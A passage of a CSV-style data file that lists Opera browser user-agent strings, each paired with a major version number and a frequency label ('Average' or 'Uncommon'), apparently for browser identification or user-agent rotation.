OPR/36.0.2130.32\",36,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31\",38,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Average\nOpera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.18,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 OPR/39.0.2256.71\",39,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36 OPR/19.0.1326.56\",19,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.65\",36,Average\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 OPR/22.0.1481.0 OMI/4.2.12.48.ALSAN3.56\",22,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Average\nOpera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.18,12,Average\nOpera/9.80 (Linux armv6l; Opera TV Store/5599; (SonyBDP/BDV13)) Presto/2.12.362 Version/12.11,12,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36 OPR/41.0.2353.56\",41,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71\",47,Average\nOpera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.14,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 OPR/39.0.2256.71\",39,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 OPR/30.0.1835.49\",30,Average\nOpera/9.80 (X11; Linux zbov) Presto/2.11.355 Version/12.10,12,Average\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Average\nOpera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.17,12,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 OPR/40.0.2308.81\",40,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Average\nOpera/9.80 (X11; Linux x86_64) Presto/2.12.388 Version/12.16,12,Average\nOpera/9.80 (X11; Linux i686) Presto/2.12.388 Version/12.16,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.35\",48,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Average\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.12,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Average\nOpera/9.80 (Android 2.3.7; Linux; Opera Mobi/46154) Presto/2.11.355 Version/12.10,12,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 OPR/20.0.1387.91\",20,Average\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3053.3 Safari/537.36 OPR/46.0.2573.0 (Edition developer)\",46,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.39\",46,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47\",49,Average\nOpera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.14,12,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.20 Safari/537.36  OPR/15.0.1147.18 (Edition Next)\",15,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.137\",42,Average\nOpera/9.80 (X11; Linux zbov; U; en) Presto/2.10.254 Version/12.00,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.40\",52,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Average\nOpera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.16,12,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.12 Safari/537.36 OPR/14.0.1116.4\",14,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36 OPR/41.0.2353.46\",41,Average\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2130.80\",36,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.65\",36,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58\",33,Average\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.9.168 Version/11.52,11,Average\nOpera/9.80 (Linux armv6l; Opera TV Store/5606; (SonyBDP/BDV14)) Presto/2.12.362 Version/12.11,12,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 OPR/28.0.1750.40\",28,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Average\nOpera/9.80 (X11; Linux x86_64; Edition Linux Mint) Presto/2.12.388 Version/12.16,12,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Average\nOpera/9.80 (X11; Linux zvav; U; sv) Presto/2.12.423 Version/12.16,12,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Safari/537.36 OPR/41.0.2246.110333\",41,Average\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18,12,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Average\nOpera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.18,12,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\",40,Average\nOpera/9.80 (Windows NT 5.1; U; ro) Presto/2.10.289 Version/12.00,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36 OPR/49.0.2725.34\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 OPR/15.0.1147.153\",15,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Average\nOpera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.18,12,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\",47,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47\",49,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36 OPR/50.0.2762.45\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\",34,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; A37f Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.110129\",37,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.46\",46,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1449\",44,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36 OPR/15.0.1147.148\",15,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\",32,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\",34,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36 OPR/41.0.2353.56\",41,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.517\",42,Average\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.10.229 Version/11.61,11,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Average\nOpera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16,12,Average\nOpera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.18,12,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.40\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58\",33,Uncommon\nOpera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.15,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32\",48,Uncommon\nOpera/9.80 (X11; Linux i686; Edition Linux Mint) Presto/2.12.388 Version/12.16,12,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.17,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.50\",48,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\nOpera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.15,12,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00,10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 OPR/34.0.2036.47\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.65\",36,Uncommon\nOpera/9.80 (Linux mips; Opera TV/14) Presto/2.11.355 Version/12.11,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.35\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2308.90\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.8 Safari/537.36 OPR/40.0.2301.0 (Edition developer)\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0,8,Uncommon\nOpera/12.0(Windows NT 5.1;U;en)Presto/22.9.168 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.49 Safari/537.36 OPR/48.0.2685.7\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.92\",35,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.137\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1889.163\",31,Uncommon\nOpera/7.60 (Windows NT 5.2; U)  [en] (IBM EVV/3.0/EAK01AG9/LE),7,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1; A1601 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.112031\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/25.0.1614.71\",25,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.20 Safari/537.36  OPR/15.0.1147.18 (Edition Next)\",15,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.11,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524\",30,Uncommon\nOpera/9.80 (Windows Mobile; WCE; Opera Mobi/WMD-50433; U; en) Presto/2.4.13 Version/10.00,10,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1449\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36 OPR/35.0.2066.68\",35,Uncommon\nOpera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.12,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54\",37,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Uncommon\nOpera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1,9,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36 OPR/51.0.2830.26\",51,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Uncommon\nOpera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.12,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 OPR/39.0.2256.71\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2114.2 Safari/537.36 OPR/25.0.1597.0 (Edition developer)\",25,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.35\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36 OPR/38.0.2220.29\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.32\",37,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; Edition Campaign 21) Presto/2.12.388 Version/12.17,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2308.90\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 OPR/16.0.1196.80\",16,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1449\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218\",44,Uncommon\nOpera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.18,12,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.21 Safari/537.36 OPR/40.0.2306.0 (Edition 